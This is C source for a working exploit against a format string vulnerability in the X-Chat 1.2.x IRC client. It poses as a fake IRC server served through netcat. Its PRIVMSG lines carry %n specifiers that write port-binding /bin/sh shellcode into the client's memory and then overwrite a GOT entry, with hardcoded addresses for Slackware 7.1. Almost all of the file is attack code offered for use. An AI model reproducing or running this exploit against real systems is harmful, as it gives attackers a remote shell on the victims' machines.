/* X-Chat 1.2.x format bug exploit by sectorx of xor
 * THIS IS CONFIDENTIAL PROPERTY OF XOR TEAM, AND MAY NOT BE DISTRIBUTED
 * 
 * *note* this is a beta version, expect more of this.
 */
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <sys/time.h>

#define VULNERABLE 1
typedef struct { 
   char name[80];
   int got;        
   int ret;        /* this should be a stack/data segment address where we
		    * upload the shellcode to, and execute it */
   int offset; 
   int len; 
} vuln;

vuln VULN[VULNERABLE] =
{
     { "X-Chat 1.2.1/Slackware 7.1",0x08105cac,0x8134021,81,4 }
};

char portshell[] =
  /* anathema's portshell code:                                        */
  /* main: */
  "\xeb\x72"                                /* jmp callz               */
  /* start: */
  "\x5e"                                    /* popl %esi               */
  
    /* socket() */
  "\x29\xc0"                                /* subl %eax, %eax         */
  "\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */
  "\x40"                                    /* incl %eax               */
  "\x89\xc3"                                /* movl %eax, %ebx         */
  "\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */
  "\x40"                                    /* incl %eax               */
  "\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */
  "\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
  "\xb0\x66"                                /* movb $0x66, %al         */
  "\xcd\x80"                                /* int $0x80               */
  
    /* bind() */
  "\x43"                                    /* incl %ebx               */
  "\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */
  "\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */
  "\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */
  "\x29\xc0"                                /* subl %eax, %eax         */
  "\x89\xc2"                                /* movl %eax, %edx         */
  "\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */
  "\xb0\x90"                                /* movb $0x90, %al         */
  "\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */
  "\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */
  "\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */
  "\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
  "\xb0\x66"                                /* movb $0x66, %al         */
  "\xcd\x80"                                /* int $0x80               */
  
    /* listen() */
  "\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
  "\x43"                                    /* incl %ebx               */
  "\x43"                                    /* incl %ebx               */
  "\xb0\x66"                                /* movb $0x66, %al         */
  "\xcd\x80"                                /* int $0x80               */
  
    /* accept() */
  "\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */
  "\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */
  "\xb0\x66"                                /* movb $0x66, %al         */
  "\x43"                                    /* incl %ebx               */
  "\xcd\x80"                                /* int $0x80               */
  
    /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
  "\x86\xc3"                                /* xchgb %al, %bl          */
  "\xb0\x3f"                                /* movb $0x3f, %al         */
  "\x29\xc9"                                /* subl %ecx, %ecx         */
  "\xcd\x80"                                /* int $0x80               */
  "\xb0\x3f"                                /* movb $0x3f, %al         */
  "\x41"                                    /* incl %ecx               */
  "\xcd\x80"                                /* int $0x80               */
  "\xb0\x3f"                                /* movb $0x3f, %al         */
  "\x41"                                    /* incl %ecx               */
  "\xcd\x80"                                /* int $0x80               */
  
    /* execve() */
  "\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */
  "\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */
  "\x87\xf3"                                /* xchgl %esi, %ebx        */
  "\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */
  "\xb0\x0b"                                /* movb $0x0b, %al         */
  "\xcd\x80"                                /* int $0x80               */
  /* callz: */
  "\xe8\x89\xff\xff\xff"                    /* call start              */
  "/bin/sh";

void upload(unsigned char *str, int length, int address, int sys)
{
   int i;
   
   for (i=0;i<length;i++)
     {
	int target;
	unsigned short int word;
	
	
	word   = str[i] + 0x0100;
	target = address + i;
	
	printf(":%.4s%%.%dx%%%d$n!a@a PRIVMSG #own :%c\n",
	       &target,word-VULN[sys].len,VULN[sys].offset,0x70+(rand() % 0x10));
	fflush(stdout);
     }
}

int main(int argc, char *argv[])
{
   char *ircd = "haxornet";
   int sys;
   
   fprintf(stderr, "X-Chat 1.2.x exploit (c) sectorx of xor\n");
   fprintf(stderr, "\E[1m\E[31mTHIS IS CONFIDENTIAL PROPERTY OF XOR TEAM, AND MAY NOT BE DISTRIBUTED.\033[0m\n\n");
   
   if (argc < 2)
     {
	int i;
	
	printf("Usage: (%s <target type> ; cat)|nc -l -p 6667\n",argv[0]);
	printf("Target types:\n");
	for (i=0;i<VULNERABLE;i++)
	  {
	     printf("%d\t:\t%s\n",i,VULN[i].name);
	  }
	exit(1);
     }
   sys = atoi(argv[1])>=VULNERABLE?0:atoi(argv[1]);
   
   /* connect user to fake server */
   printf("NOTICE AUTH :*** Welcome to my ircd\n");
   printf(":%s 001 user1 :Welcome to %1$s\n",ircd);
   printf(":%s 002 user1 :Your host is %1$s\n",ircd);
   printf(":%s 376 user1 :End of /MOTD command.\n",ircd);
   printf(":user1 MODE user1 :+i\n");
   
   printf(":user1!user1@user1.hostname JOIN :#own\n");
   printf(":%s MODE #own +nt\n",ircd);
   printf(":%s 353 user1 = #own :@user1\n");
   printf(":%s 366 user1 #own :End of /NAMES list.\n");
   
   /* Upload shellcode to target address */
   upload(portshell,strlen(portshell),VULN[sys].ret,sys);
   
   /* Change global offset table */
   upload((char*)&VULN[sys].ret,4,VULN[sys].got,sys);   
}
